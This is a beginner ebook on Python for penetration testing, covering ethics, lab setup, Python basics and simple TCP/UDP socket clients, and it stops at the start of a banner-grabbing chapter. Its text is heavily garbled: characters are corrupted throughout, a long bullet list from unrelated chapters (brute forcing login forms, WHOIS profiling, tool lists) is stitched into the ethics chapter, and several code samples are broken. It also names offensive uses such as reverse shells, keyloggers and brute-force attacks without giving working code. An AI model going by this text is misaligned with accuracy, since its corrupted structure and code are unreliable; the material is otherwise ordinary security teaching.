Table of Contents
About Book
What is the book about ?
This book, 'Python for Penetration Tester', is a beginner-friendly guide crafted for aspiring ethical hackers and cybersecurity enthusiasts. It simplifies complex penetration testing techniques and delivers them in a hands-on Python programming format. Whether you're starting your ethical hacking journey or looking to strengthen your automation skills, this book serves as your first powerful step into the world of cybersecurity.
About Author
Who is the author ?
Ashish Kumar Mishra, also known online as Cyber_Squad6351, is a passionate young programmer and cybersecurity enthusiast with over 5 years of coding experience and more than 1.5 years dedicated to ethical hacking. where he shares tools, tutorials, and live sessions to help others learn ethical hacking, Python programming, and real-world cybersecurity practices..
About Cyber_Squad6351
Who is the Cyber_Squad6351 ?
Cyber_Squad6351 is a growing tech community dedicated to teaching cybersecurity and programming through hands-on practice. It provides valuable resources for beginners and professionals alike.
β What We Offer: Live One-on-One Mentorship Personalized learning sessions and direct guidance from Aditya and the Cyber_Squad team.
π Your Cybersecurity Learning Hub
-
Programming Language Cheatsheets
Well-structured reference sheets for Programming Languages (Python, Bash, etc.) designed for quick lookup and learning.
-
Hacking Tools Reference
Comprehensive cheatsheets for essential Hacking Tools (Nmap, Metasploit, Burp Suite, etc.) with command examples and usage patterns.
-
Free Weekly Live Doubt Sessions
Interactive sessions to solve real-time problems for learners. Join our community of cybersecurity enthusiasts.
-
Step-by-Step Documentation
Easy-to-follow tutorials and tool usage guides written for all skill levels. From beginner to advanced techniques.
-
50+ Python-Based Hacking Tools
Download and learn from real cybersecurity tools created by Cyber_Squad6351. Practical Python applications in cybersecurity.
-
Beginner to Advanced Learning Paths
Roadmaps to help you go from absolute beginner to cybersecurity professional with clear milestones and resources.
-
Career Support
Guidance on certifications, interview preparation, and building a strong online presence in cybersecurity industry.
Getting Start
Introduction-To-Penetration-Testing
π Hey hackers and cyber enthusiasts! π¨βπ»π©βπ»
Ready to dive into the world of ethical hacking? If youβve ever been curious about how hackers break into systems (legally, of course!), penetration testing is your golden ticket. π«
This chapter is your first step into that thrilling worldβwhere code meets cyber defense, and Python becomes your weapon of choice. ππ»
π What is Penetration Testing?
Penetration Testing (or Pentesting) is the legal process of simulating a cyberattack to find vulnerabilities in systems, networks, and applications before real hackers do. Think of it like hiring a hacker to test your digital locks before the bad guys show up. ππ
π€ In simple words:
βItβs like being a friendly hacker who breaks into systems β but with permission β just to make them safer.β
π§βπ» Why Do We Need It?
Hereβs why organizations love ethical hackers:
- π‘οΈ Find weak spots before attackers do
- π Improve overall security posture
- π§Ύ Stay compliant with security standards (like ISO, PCI-DSS, etc.)
- πΌ Protect customer data and business reputation
π§ Types of Penetration Testing
Here are the most common types you'll explore as a penetration tester:
-
Network Penetration Testing
Identify flaws in servers, firewalls, routers, and other network gear.
-
Web Application Pentesting
Find vulnerabilities in websites, such as XSS, SQL injection, and CSRF.
-
Social Engineering
Test human vulnerabilities (like phishing or USB drops).
-
Wireless Pentesting
Crack WiFi passwords and test wireless encryption methods.
-
Physical Pentesting
See if someone can gain physical access to secure locations.
| βοΈ Pentesting vs Hacking: What's the Difference? | |
|---|---|
| Penetration Testing (Ethical) | Hacking (Illegal) |
| Done with permission | Done without permission |
| Helps improve security | Exploits security |
| Legal and ethical | Illegal and punishable |
| Performed by white hats | Done by black hats |
Role of Python in Cybersecurity
Hey future cyber defenders! π¨βπ»π©βπ»
Ever wondered why every ethical hacker and cybersecurity pro swears by Python? Whether you're scanning networks, automating attacks, or writing malware (for learning purposes only π ), Python is the ultimate sidekick in your hacking journey.
Letβs explore why Python has such a massive role in the cybersecurity world. ππ₯
π 1. Easy to Learn, Quick to Deploy
Python has a clean and simple syntaxβalmost like writing English. This makes it super beginner-friendly, especially for cybersecurity students who want to build tools fast without learning complex programming rules.
π‘ Think of Python as the βGoogle Translateβ between your hacking ideas and working tools.
π§° 2. Tons of Ready-to-Use Libraries
One of Pythonβs biggest strengths is its massive library support. Need to scan ports? Automate browser actions? Scrape a website? Thereβs a library for almost everything:
- socket β for network scanning
- scapy β for packet crafting
- requests β for web automation
- nmap β for automating Nmap scans
- shodan β to use the Shodan API
- beautifulsoup β for scraping data
- paramiko β for SSH connections
This means you can build hacking tools in minutes, not hours! βοΈπ₯
π§ 3. Automating Repetitive Tasks
Hackers love automation β and Python is king at it! π
From brute-force login attempts to scanning hundreds of IPs, Python lets you write scripts that do all the boring stuff automatically. Less typing, more hacking. π
π 4. Great for Offensive & Defensive Security
Python isn't just for attackers β itβs also used for defense!
- Offensive use: Brute-force attacks, reverse shells, keyloggers
- Defensive use: Log analyzers, threat detection bots, firewalls
So whether you want to break in or keep others out β Pythonβs got your back on both sides. πβοΈ
π» 5. Integrates Easily with Pentest Tools
Python plays nice with popular tools like:
- Metasploit
- Nmap
- Burp Suite (via extensions)
- Wireshark (packet parsing)
You can even write custom plugins, automate tool output, or build wrappers around these tools using Python.
π 6. Community & Open Source Projects
Python has a massive hacking community! That means:
- Tons of open-source pentest tools written in Python
- Helpful GitHub repos to learn from
- Forums, Discords, and subreddits for support
Youβre never alone on your Python hacking journey. π¬
π₯ Final Thought: Python = Cyber Superpower
To put it simply:
If Linux is your battleground, then Python is your sword.
Learning Python for cybersecurity is not optional anymore β itβs a must if you want to build, break, and defend systems efficiently.
Ready to see Python in action? Stick with usβthis book will show you how to go from zero to writing real-world hacking scripts! ππ»π£
Black Hat vs White Hat vs Grey Hat
π΅οΈββοΈ What Kind of Hacker Are You?
Hey cyber warriors! π¨βπ»π©βπ»
In the hacking world, not all hackers are the same. Some break things to protect, some to destroy, and some⦠well, they walk a fine line between good and bad. This chapter will help you understand the different types of hackers based on their intentions and actions.
Letβs meet the three main types: Black Hat, White Hat, and Grey Hat Hackers. π©βͺβ«
β« 1. Black Hat Hackers (The Villains)
Black Hat Hackers are the bad guys of the internet. They break into systems, steal data, spread malware, and cause damage β all without permission. Their actions are illegal and unethical.
π‘ π Think of them as cybercriminals who hack for personal gain, revenge, or fun.
𧨠What they do:
- Steal credit card or personal data
- Spread ransomware or viruses
- Take down websites (DDoS attacks)
- Hack systems just to cause chaos
β Why itβs wrong:
- Violates laws
- Harms innocent users and companies
- Leads to legal action or jail
βͺ 2. White Hat Hackers (The Heroes)
White Hat Hackers are the good guys! π¦ΈββοΈ
They use their skills legally and ethically to protect systems. They work as penetration testers, security analysts, or bug bounty hunters, helping companies find and fix vulnerabilities before black hats can exploit them.
β They hack with permission and get paid to protect!
π‘οΈ What they do:
- Test systems for vulnerabilities/li>
- Report bugs and flaws responsibly/li>
- Help secure networks and websites
- Train others in cybersecurity
π Why theyβre awesome:
- Keep the digital world safe
- Work with companies, governments, and organizations
- Get rewarded legally (like bug bounties!)
βͺβ« 3. Grey Hat Hackers (The Wildcards)
Grey Hat Hackers live in the middle β not fully good, not totally bad.
They might break into a system without permission, but instead of stealing data, they report the flaw to the owner. Sometimes they ask for a reward⦠sometimes not.
π€ Their intentions might be good, but their actions are still technically illegal.
π What they do:
- Hack systems to expose security holes
- Inform companies of the vulnerabilities
- May publish findings online
- Often seek attention or justice
β οΈ The problem:
- Still breaking the law
- Might cause unintentional harm
- Can cross the line from ethical to criminal quickly
π Why This Matters to You
Before learning to hack, you must choose your hat color wisely.
This book is designed for white hat hackers β people who want to protect, not destroy. Understanding the difference helps you stay legal, ethical, and respected in the cybersecurity community.
β Quick Comparison Table
| Type | Legal? | Ethical? | Intent | Examples |
|---|---|---|---|---|
| Black Hat | β No | β No | Harm, steal, damage | Hackers spreading ransomware |
| White Hat | β Yes | β Yes | Protect & secure | Ethical hackers, pentesters |
| Grey Hat | β οΈ No | π€· Mixed | Good-ish intentions | Hackers who report bugs without permission |
π₯ Final Thoughts
Whether you're coding tools or scanning networks, what truly defines a hacker is their purpose. Choose to use your skills for good, and you'll become a cyber guardian, not a cyber threat.
So, which hat are YOU going to wear? π©π»
(Hint: White looks great on you π)
π₯ Final Thought: Python = Cyber Superpower
To put it simply:
If Linux is your battleground, then Python is your sword.
Learning Python for cybersecurity is not optional anymore β itβs a must if you want to build, break, and defend systems efficiently.
Ready to see Python in action? Stick with usβthis book will show you how to go from zero to writing real-world hacking scripts! ππ»π£
π Chapter: Legal and Ethical Considerations
π¨ββοΈ Why Legal & Ethical Hacking Matters
Hey future white-hat warriors! βοΈ
Before you fire up that terminal and start writing Python scripts to test networks, you must understand the law and your ethical responsibility. Ethical hacking isnβt just about skills β itβs also about doing things the right way.
This chapter will walk you through all the legal and ethical principles every penetration tester should know before touching any target. π¨
β 1. What Is Ethical Hacking?
Ethical hacking is the legal process of testing a systemβs security to find vulnerabilities β with full permission from the owner.
In short: You hack to help, not harm.
Ethical hackers are also known as:
- White hat hackers
- Security researchers
- Cybersecurity professionals
They use their skills to protect companies, apps, users, and data.
- Violates laws
- Harms innocent users and companies
- Leads to legal action or jail
βοΈ 2. Understanding Cyber Laws
Just like real-world crime, cybercrime has rules β and breaking them leads to serious consequences. Different countries have their own cybersecurity laws, such as:
- IT Act (India)
- Computer Fraud and Abuse Act (USA)
- GDPR (Europe)
These laws define:
- What counts as illegal access
- Penalties for data theft or damage
- Responsibilities of security testers
Always stay informed about the laws in your country or region.
π« 3. What Is Illegal Hacking?
Illegal hacking is when someone breaks into a system or network without permission β even if no harm is done.
Examples of illegal hacking:
- Accessing someone's email without their consent
- Scanning a companyβs website without approval
- Spreading malware or viruses
- Launching DDoS attacks
Remember: No permission = illegal action β
π 4. Getting Legal Permission (The Golden Rule)
BBefore you run any script, scan, or exploit β get written permission from the target's owner. This is often done through:
- Authorization letters
- Signed contracts
- Bug bounty program rules
Without permission, you're just a black hat with good intentions β and that doesnβt hold up in court. βοΈ
π 5. Consequences of Unethical Hacking
If you break the law, even unintentionally, you can face:
- Heavy fines πΈ
- Jail time π
- Loss of certifications or job offers
- A damaged reputation in the cyber community π
Your hacking journey should build your career, not destroy it.
π§ 6. Hacker Ethics & Code of Conduct
As a responsible ethical hacker, you should follow a strong code of conduct:
- Hack only with permission
- Always report findings honestly
- Donβt exploit discovered vulnerabilities
- Respect privacy and data sensitivity
- Never brag about illegal activities online
- βοΈ Practice real-world attacks safely
- βοΈ Learn tools like Nmap, Metasploit, Wireshark, etc.
- βοΈ Set up intentional vulnerabilities to exploit
- VirtualBox or VMware: To run virtual machines (VMs)
- Kali Linux: The go-to OS for ethical hackers
- Metasploitable2: A vulnerable VM for practice
- DVWA or WebGoat: Vulnerable web apps for testing
- Metasploitable2: Full of known vulnerabilities β perfect for Metasploit practice.
- DVWA (Damn Vulnerable Web App): A PHP/MySQL web app loaded with web vulnerabilities.
- WebGoat: Created by OWASP to teach secure coding by exploiting insecure code.
- TryHackMe: Beginner-friendly and guided
- Hack The Box: More advanced and challenge-based
- Visit the official website: python.org/downloads
- Download the latest version for Windows
- During installation, make sure to check the box that says βAdd Python to PATHβ
- Click βInstall Nowβ and follow the prompts
- VirtualBox β Free and open-source
- VMware Workstation Player β Free for personal use
- Go to kali.org/get-kali and download the ISO
- Open VirtualBox or VMware and create a new VM
- Set memory (at least 2GB), CPU (2 cores), and virtual hard disk (20GB+)
- Mount the Kali ISO and start the VM
- Follow the on-screen installation instructions
- Visit parrotsec.org
- Download the ISO and follow the same steps used for Kali
- Choose the "Security Edition" for ethical hacking tools
- Use βBridgedβ or βNATβ for internet access
- Enable βVirtualizationβ in BIOS for better performance
- Enable shared clipboard and drag-and-drop if needed
- requests β For making HTTP requests
- beautifulsoup4 β For web scraping and HTML parsing
- scapy β For crafting and analyzing network packets
- nmap β For automating Nmap scans
- paramiko β For SSH connections
- shodan β For using the Shodan API
- virustotal-api β For malware scanning automation
lsβ List filescdβ Change directorypython3 script.pyβ Run Python scriptifconfigβ View IP addresses (Linux)- Syntax highlighting
- Code suggestions
- Built-in terminal
- Error highlighting
- VS Code: Lightweight, powerful, and highly customizable
- PyCharm: Feature-rich Python IDE (best for large projects)
- Geany: Lightweight and fast (great for older systems)
- Thonny: Beginner-friendly Python IDE
- Download from code.visualstudio.com
- Install Python extension from the Extensions tab
- Enable terminal (Ctrl + `)
- Create and run
.pyfiles with ease - β Live doubt-solving classes β ask, code, and solve on the spot
- π‘ Real-world projects β build cool tools, not just hello-worlds
- π Weekly practice sets β stay consistent, get sharp
- π Structured cheat sheets β quick references while you hack
intβ Whole numbers (e.g.,22)floatβ Decimal numbers (e.g.,3.14)strβ Text strings (e.g.,"admin")boolβ Boolean values (TrueorFalse)listβ A collection (e.g.,["admin", "root", "user"])- Connect to remote servers
- Send and receive raw data
- Scan open ports
- Build your own hacking tools
- TCP: Reliable connections
- UDP: Fast, connectionless communication
- Scan open ports
- Send custom requests
- Build custom backdoors or reverse shells
- Create raw network tools for CTFs or red team projects
- Identify domains and subdomains
- Find IP ranges and DNS info
- Collect email addresses
- Discover technologies used by websites
- WHOIS lookups
- DNS lookups
- IP geolocation
- Email scraping from web pages
- Perform WHOIS lookups to see who owns a domain
- Track IPs and DNS records
- Scan for subdomains
- Scrape emails using BeautifulSoup and requests
- Find the registrar and creation date
- See expiration dates (great for timing social engineering)
- Check admin or technical contact emails
- Discover actual server IPs behind a domain
- Find subdomains and aliases (like mail.example.com)
- Spot CDN usage or hidden IPs
- Check if an IP changes over time (great for target profiling)
- Expose staging servers not meant for the public
- Reveal old apps with known vulnerabilities
- Help map the real size of your target
- Compare banners against a list of known vulnerable versions
- Use APIs like Shodan to find CVEs automatically
- Integrate with scanners like Nmap or OpenVAS in Python
- Send custom payloads (like partial HTTP requests)
- Scan multiple ports and targets
- Save and analyze results
- Loop through multiple domains/ports
- Write banners to a file
- Filter banners by keyword (e.g., βApache/2.4β)
- Brute force: Tries every possible combination (slow but sure)
- Dictionary attack: Tries passwords from a list (faster & often enough)
- Names, birth years, and pet names of your target
- Common passwords with variations
- Number or symbol patterns
- Discovering hidden directories or files
- Testing login forms for weak passwords
- Looking for common vulnerabilities (e.g., SQLi, XSS)
- Automating attacks with Python scripts
- Submitting hundreds of login attempts
- Fuzzing parameters to test for injection
- Scraping pages for hidden links or emails
- requests β Send HTTP requests easily
- BeautifulSoup β Parse and scrape HTML
- re β Use regex for matching patterns
- Read passwords from a wordlist
- Submit them one by one to the login form
- Check the response for success (e.g., "Welcome", "Dashboard")
- Save time by reusing scripts
- Reduce human error
- Chain tools together (e.g., scan β parse β report)
- Work faster during live assessments
- Collect banners and check versions
- Parse tool outputs into reports
- Combine multiple tools in one workflow
- Alert you on Telegram if something is found
site:example.com inurl:adminfiletype:sql passwordintitle:"index of"- Run multiple tools in sequence
- Save results to files
- Notify you when finished
- Combine with
sublist3rfor subdomains - Use
whatwebto fingerprint technologies - Chain all tools and merge reports
- Collect recon data from services like Shodan or VirusTotal
- Automate vulnerability scanning
- Send alerts to Slack or Telegram
- Build dashboards to see all your findings
- Collect recon data from services like Shodan or VirusTotal
- Automate vulnerability scanning
- Send alerts to Slack or Telegram
- Build dashboards to see all your findings
- Automate checks for new downloads
- Scan results during recon
- Integrate VirusTotal into bigger pentest tools
- Get alerts when brute force finds a password
- Send new recon data to your phone
- Notify when a scan script finishes
- Check target ports
- Grab service banners
- Compare banners against a small list of known vulnerable versions
- Send live updates when a password is cracked
- Notify you when a vulnerability is detected
- Summarize scan results automatically
- Send JSON-formatted reports or summaries
- Notify on critical findings only
- Build a dashboard to track multiple scripts
- Own personally
- Have written permission to test (like bug bounty targets)
- Use in approved learning environments
- Hack The Box
- TryHackMe
- DVWA (Damn Vulnerable Web Application)
- OWASP Juice Shop
- What systems are in scope
- Which attacks are allowed
- Whether denial of service (DoS) is forbidden
- Documenting the vulnerability clearly
- Reporting it to the right person or team (often via security@ emails or bug bounty platforms)
- Giving them time to fix before sharing publicly
- Protects users from attacks
- Builds trust between hackers and organizations
- Can even earn you recognition or bug bounty rewards
- Include clear reproduction steps
- Describe potential impact
- Stay professional and respectful
- Explain what you found (and why it matters)
- Give actionable steps to fix issues
- Show the value of your work as a hacker or pentester
- Executive summary: Non-technical overview for managers
- Technical details: Proof of concept, affected systems, and screenshots
- Impact analysis: What could happen if exploited
- Remediation: Clear advice to fix or mitigate
- Keep it clear and concise
- Use visuals like tables or diagrams
- Write so both technical and non-technical readers understand
- Object-oriented programming
- Async programming for faster tools
- Building custom modules
- Scapy (for packet crafting)
- Metasploit automation
- Shodan and other security APIs
- CEH (Certified Ethical Hacker)
- OSCP (Offensive Security Certified Professional)
- eJPT (Junior Penetration Tester)
threadingormultiprocessingto run tasks in parallelasynciofor high-speed network scripts- Scapy (packet crafting)
- Twisted (async networking)
- BeautifulSoup & Selenium (web automation)
- Faster development: no need to reinvent the wheel
- More features and community support
- Powerful APIs for advanced attacks and automation
- Run exploits automatically
- Collect post-exploitation data
- Integrate with your custom tools
- Validate your ethical hacking knowledge
- Boost your resume and credibility
- Learn structured methodologies and best practices
- CEH (Certified Ethical Hacker): Covers tools, techniques, and general theory β great for beginners.
- OSCP (Offensive Security Certified Professional): Hands-on, practical exam where you hack real boxes β highly respected in the industry.
- eJPT (Junior Penetration Tester): Beginner-friendly, focuses on core pentest skills and networking basics.
- Writing custom tools during exams
- Automating scanning and recon
- Building quick proof-of-concept exploits
- theHarvester β Find emails and subdomains
- sublist3r β Fast subdomain enumeration
- Shodan β Python wrapper for the Shodan API
- dnsdumpster β Passive DNS information gathering
- sqlmap β Automate SQL injection detection and exploitation
- XSStrike β Detect and exploit XSS vulnerabilities
- Wapiti β Web vulnerability scanner
- routersploit β Exploit framework for embedded devices
- Scapy β Craft and sniff packets
- Impacket β Collection of network protocol tools and scripts
- hping3-python β Send custom TCP/IP packets
- hashlib β Built-in library to hash and compare passwords
- Hydra wrapper scripts β Automate brute force attacks
- crackmapexec β Post-exploitation tool for networks
- requests β HTTP requests, brute forcing, and fuzzing
- BeautifulSoup β HTML parsing and scraping
- Selenium β Automate browser actions
- Volatility β Memory forensics framework
- PyInstaller β Package your tools into executables
- What is the difference between TCP and UDP?
- How would you scan a network using Python?
- Explain the use of sockets in network programming.
- What is banner grabbing? Why is it useful?
- What libraries would you use for web scraping?
- How can you automate brute force attacks in Python?
- Explain the use of Scapy in pentesting.
- What is the difference between dictionary attack and brute force?
- Describe responsible disclosure and why it matters.
- Start with hands-on labs: HackTheBox, TryHackMe, DVWA
- Contribute to open-source pentesting tools
- Document your projects on GitHub
- Get certified (CEH, OSCP, eJPT)
- Network with the community: forums, Discord, LinkedIn
Ethical hackers donβt just follow rules β they live by them. π
π Final Thought
In cybersecurity, your reputation is your resume.
If Linux is your battleground, then Python is your sword.
The line between a hero and a villain is often just permission. Mastering hacking tools is great β but learning how to use them legally and ethically makes you a true professional.
Stay legal. Stay ethical. And protect the digital world like a pro. π‘οΈπ»
Setting Up Your Hacking Lab
Hey hackers and future pentesters! π§π»
If you're serious about learning ethical hacking, the first thing you need is a safe and legal environment to test tools and run exploits. Thatβs where your hacking lab comes in β a fully controlled setup where you can break things without consequences. π§ͺ
This chapter will guide you step-by-step on how to create your own virtual hacking playground.
π‘ 1. Why Use a Hacking Lab?
A hacking lab lets you test tools, scripts, and vulnerabilities without touching real networks. Itβs private, safe, and 100% legal.
π§± 2. Recommended Tools for Your Lab
Hereβs what youβll need to build a beginner-friendly hacking lab:
You can set these up all on your existing PC/laptop!
π½ 3. Installing VirtualBox or VMware
Download and install VirtualBox (free) or VMware Workstation Player. These tools let you run other operating systems like Kali Linux as virtual machines, without affecting your host system.
π 4. Setting Up Kali Linux
Kali Linux is a Linux distribution packed with hacking tools β pre-installed and ready to use.
You can download the ISO from kali.org/get-kali and import it into VirtualBox.
Once installed, youβll have access to tools like Nmap, Wireshark, Metasploit, and more β right out of the box! π
π£ 5. Adding Vulnerable Machines
To test your skills, youβll need something to hack into. Thatβs where vulnerable machines come in.
π 6. Network Settings for Isolation
Make sure your VMs are set to βInternal Networkβ or βHost-Only Adapterβ. This keeps your lab disconnected from the internet β so you donβt accidentally attack anything outside your system. π
π οΈ 7. Optional: Using Tools Like TryHackMe or HackTheBox
Want instant cloud-based labs without installing anything?
Both platforms offer realistic hacking environments β all online! π
π₯ Final Thought: Your Lab Is Your Playground
Setting up your lab is one of the most exciting parts of becoming an ethical hacker. Youβll have a space to learn, break things, and build your confidence β without breaking the law. π
Once your lab is ready, weβll start building tools and testing techniques using Python!
Installing Python (Linux/Windows)
Hey coders and cyber learners! π¨βπ»π©βπ»
If you're diving into ethical hacking with Python, the first step is to make sure you have Python installed on your system. Whether you're using Linux or Windows, setting it up is quick and simple. Letβs get started! βοΈ
π§ Installing Python on Linux (Kali, Parrot OS, etc.)
Most Linux distros (especially Kali Linux and Parrot OS) come with Python pre-installed. You can check the version by opening your terminal and typing:
python3 --version
If it's not installed or you want to update it:
sudo apt update && sudo apt install python3
You may also want to install pip (Python's package manager):
sudo apt install python3-pip
πͺ Installing Python on Windows
Follow these steps to install Python on a Windows machine:
Once installed, open Command Prompt and run:
python --version
You should see the installed version appear. β
βοΈ Verifying Python and Pip
To make sure everything is working, run these two commands:
python --version pip --version
If both show version numbers, you're good to go! π
Setting up Virtual Machines (Kali Linux, Parrot OS)
Hey cyber explorers! π§βπ»π
Virtual Machines (VMs) are the backbone of any hacking lab. They let you run multiple operating systems β like Kali Linux or Parrot OS β safely inside your existing system, so you can experiment, hack, and learn without breaking anything. π₯
π¦ What is a Virtual Machine?
A Virtual Machine is a software-based computer inside your real computer. You can install operating systems, test tools, and practice attacks β all isolated from your main OS.
Popular VM platforms include:
π Installing Kali Linux on a VM
Kali Linux is a go-to OS for ethical hackers. Here's how to install it:
π΅οΈ Installing Parrot OS (Alternative to Kali)
Parrot Security OS is another great choice β lightweight and privacy-focused.
βοΈ VM Settings to Keep in Mind
π‘ Tip: Take snapshots after setting up your VM β so you can restore it easily if something goes wrong.
Installing Required Python Libraries
Hey hackers! πβοΈ
Before diving into Python-powered hacking tools, you need to install some powerful Python libraries. These libraries make your scripts smarter, faster, and more capable β from scanning ports to scraping websites and beyond.
π¦ What Are Python Libraries?
Python libraries are pre-written code packages that help you do complex tasks with just a few lines of code. Instead of writing everything from scratch, you can use libraries for tasks like networking, automation, data handling, and more.
π οΈ Must-Have Libraries for Hackers
π‘ How to Install Python Libraries Using pip
pip is Pythonβs built-in package manager. You can install any
library using a single command in your terminal or command prompt:
pip install library_name
Example:
pip install requests beautifulsoup4 scapy nmap paramiko
π Check Installed Libraries
To see whatβs already installed, you can use:
pip list
Itβll show you all available libraries along with their versions.
β οΈ Having Trouble? Try pip3 Instead
On some systems, especially Linux, you may need to use:
pip3 install requests
And donβt forget β you might need to use sudo if you get permission
errors:
sudo pip3 install scapy
Introduction to Terminal & IDE (VS Code, etc.)
Hey command-line ninjas and code crafters! π§βπ»π₯
Before you start writing Python scripts for hacking, it's important to get comfortable with your tools β the terminal and your coding environment. Whether you're on Linux, Windows, or Mac, this chapter will show you how to navigate like a pro. π
π₯οΈ What is a Terminal?
The terminal (or command-line interface) lets you interact with your system using text-based commands. For hackers, itβs where the real magic happens β scanning networks, launching scripts, cracking passwords... all start here.
Examples of terminal commands:
π οΈ Why Use an IDE for Python?
An IDE (Integrated Development Environment) is a tool that helps you write, test, and debug your code more easily. It offers features like:
π» Recommended IDEs for Ethical Hackers
βοΈ Setting Up VS Code
VS Code is one of the most popular editors used in cybersecurity and programming. Hereβs how to get started:
With VS Code and the terminal combined, youβll be building and executing tools like a true cyber wizard. π§ββοΈπ
π Python Basics for Hackers
Course Introduction
Yo hackers! π¨βπ»π©βπ»
If youβre dreaming about building your own hacking tools, automating scans, or just flexing your Python skills like a true cyber ninja β this is where it all begins. Python is the most powerful (and friendly!) language for penetration testers and ethical hackers. π£
This unit is all about getting your Python basics on point β so you can write scripts, break stuff (ethically!), and make your own mini-tools. No boring theory, just hacker-focused Python goodness. π»π₯
π¨ Wanna Level Up Fast?
Weβve already launched our Elite Python Series as part of the Elight Programming Series β and guess what? Itβs totally free for our community. π
Itβs designed especially for beginners in ethical hacking and includes:
Join the series anytime and learn at your pace. Youβre not just learning Python β youβre learning the hackerβs version of it. βοΈπ
Now letβs get into the code and start your Python hacking journey!
Variables, Data Types, Loops, Functions
Hey Python ninjas! πβ‘
If you want to build tools that automate scans, crack passwords, or parse responses β youβll need to understand the core building blocks of Python. This chapter is your hacker-friendly crash course into variables, data types, loops, and functions. Letβs break it down! π
π¦ Variables
Variables are like labeled containers where you store data. In hacking scripts, they can store targets, usernames, passwords, IPs, and more.
target = "192.168.1.1"username = "admin"port = 22
π’ Data Types
Python automatically understands what kind of data youβre using. Here are the main types:
π Loops
Loops help you run the same block of code multiple times. Hackers use loops for brute-force attacks, fuzzing, scanning ranges, etc.
For loop example:
for user in ["admin", "root", "guest"]:print("Trying username:", user)
While loop example:
count = 0while count < 5: print("Attempt", count)count += 1
π οΈ Functions
Functions let you organize your code into reusable blocks. Think of them like small machines that do a specific task β like scanning a port or checking a login.
def greet(name): print("Hello,", name)greet("Hacker")
In real hacking tools, functions are used to handle tasks like building payloads, sending requests, or parsing responses.
File Handling, Exception Handling
Hey hackers! πβ οΈ
As you build hacking tools in Python, youβll often need to read files like wordlists, store results, or log responses. Thatβs where file handling comes in. But what if your script crashes when a file is missing? Thatβs where exception handling saves the day. π§―
π File Handling in Python
Python makes it super easy to read and write files β great for logging outputs, loading target IPs, or importing payloads.
Reading a file:
with open("targets.txt", "r") as file:targets = file.readlines()for ip in targets:print("Scanning", ip.strip())
Writing to a file:
with open("results.txt", "w") as file:wfile.write("Scan complete for 192.168.1.1")
β οΈ Exception Handling
Sometimes files donβt exist, network errors occur, or inputs crash your code. Instead of letting your script fail, Python lets you catch errors and handle them smartly.
try: file = open("passwords.txt", "r")data = file.read()except FileNotFoundError:print("File not found!")except Exception as e: print("Something went wrong:", e)
Use exception handling to make your hacking scripts more stable and professional β especially when you share tools with others. π§βπ»
Working with JSON and CSV
Hey hackers! ππ
When youβre building Python hacking tools, you'll often deal with data β like storing scan results, parsing APIs, or exporting usernames and passwords. Two of the most common formats are JSON and CSV. Letβs see how to handle them like a pro! πΌ
π What is JSON?
JSON (JavaScript Object Notation) is a lightweight data format used widely
in web APIs and modern applications. Python makes it easy to read and write
JSON using the json module.
Reading JSON data:
import json
with open("data.json", "r") as file:
info = json.load(file)
print(info["username"])
Writing JSON data:
data = {"username": "admin", "password": "1234"}
with open("output.json", "w") as file:
json.dump(data, file)
π What is CSV?
CSV (Comma-Separated Values) is great for storing tabular data β like username lists, IPs with ports, or results from brute-force attempts.
Reading a CSV file:
import csv
with open("users.csv", "r") as file:
reader = csv.reader(file)
for row in reader:
print("Username:", row[0], "| Password:", row[1])
Writing to a CSV file:
with open("output.csv", "w", newline="") as file:
writer = csv.writer(file)
writer.writerow(["username", "password"])
writer.writerow(["admin", "1234"])
Now you can easily interact with APIs (JSON) and store your results (CSV) like a true cyber dev! π₯
Python Networking Basics
Hey hackers! ππ
If you're serious about ethical hacking, you need to understand how computers talk to each other. Python makes networking super simple and powerful β whether you're scanning ports, sending requests, or building custom clients.
This chapter covers the basics of networking with Python so you can start writing your own scripts to connect, communicate, and control devices. π
π§ What is Networking in Python?
Networking in Python is all about using code to send and receive data between computers β locally or over the internet. You can use Python to:
π¦ Python's socket Module
The socket module is built into Python and is used for all
basic networking operations. Here's how to create a simple TCP client:
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("example.com", 80))
client.send(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
response = client.recv(4096)
print(response.decode())
Simple, right? This is the core of many hacking tools β sending crafted requests and reading what comes back. βοΈ
Up next, weβll build real tools like port scanners, TCP clients, and banner grabbers using this power. But first, master this foundation. π‘
Introduction to socket module
Hey cyber coders! ππ
The socket module is the heart of Python networking β and it's
a must-know for any ethical hacker. With it, you can create your own clients
and servers, scan ports, send payloads, or build custom hacking tools.
Letβs explore how this powerful module works and how you can use it in your own scripts. π§
π¦ What is the socket Module?
The socket module lets you create network connections using
Python. It gives you low-level control over TCP and UDP communication β the
same stuff tools like Nmap and Netcat use under the hood.
It supports:
π§ͺ Simple TCP Client Example
import socket
target = "example.com"
port = 80
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target, port))
client.send(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
response = client.recv(4096)
print(response.decode())
This script sends a basic HTTP request and prints the response β a powerful start to understanding how the internet talks! π
π‘ When to Use socket
The socket module is useful when you want to:
Now that youβve met the socket module, you're ready to start
building powerful, network-aware Python tools. Up next β real TCP and UDP
clients! π₯
Creating Basic TCP/UDP Clients
Hey socket masters! π§ π
Now that youβve been introduced to the socket module, itβs
time to get your hands dirty by creating your own TCP and UDP
clients. These mini tools are the base of many real-world hacking
scripts β from port scanners to backdoors. Letβs build them! π»π£
π‘ TCP Client in Python
TCP (Transmission Control Protocol) is used for reliable, connection-based communication β like HTTP, SSH, FTP, etc. Hereβs a basic TCP client that connects to a target and sends a message:
import socket
target = "127.0.0.1"
port = 9999
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target, port))
client.send(b"Hello from TCP client!")
response = client.recv(4096)
print("Response:", response.decode())
π― Use cases: Web fuzzing, banner grabbing, interacting with services (like FTP, SMTP)
πΆ UDP Client in Python
UDP (User Datagram Protocol) is faster but connectionless β meaning it just sends data without checking if it arrives. Hereβs a basic UDP client:
import socket
target = "127.0.0.1"
port = 9999
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(b"Hello from UDP client!", (target, port))
# Receiving response (if any)
data, addr = client.recvfrom(4096)
print("Response from server:", data.decode())
π― Use cases: DNS queries, custom payload fuzzing, broadcasting scripts
And thatβs it! Youβve just built your first raw network clients using Python. These basics will power many of the tools you build next β like port scanners, reverse shells, and more. π§¨
Banner Grabbing
Hey info hunters! π§ π°οΈ
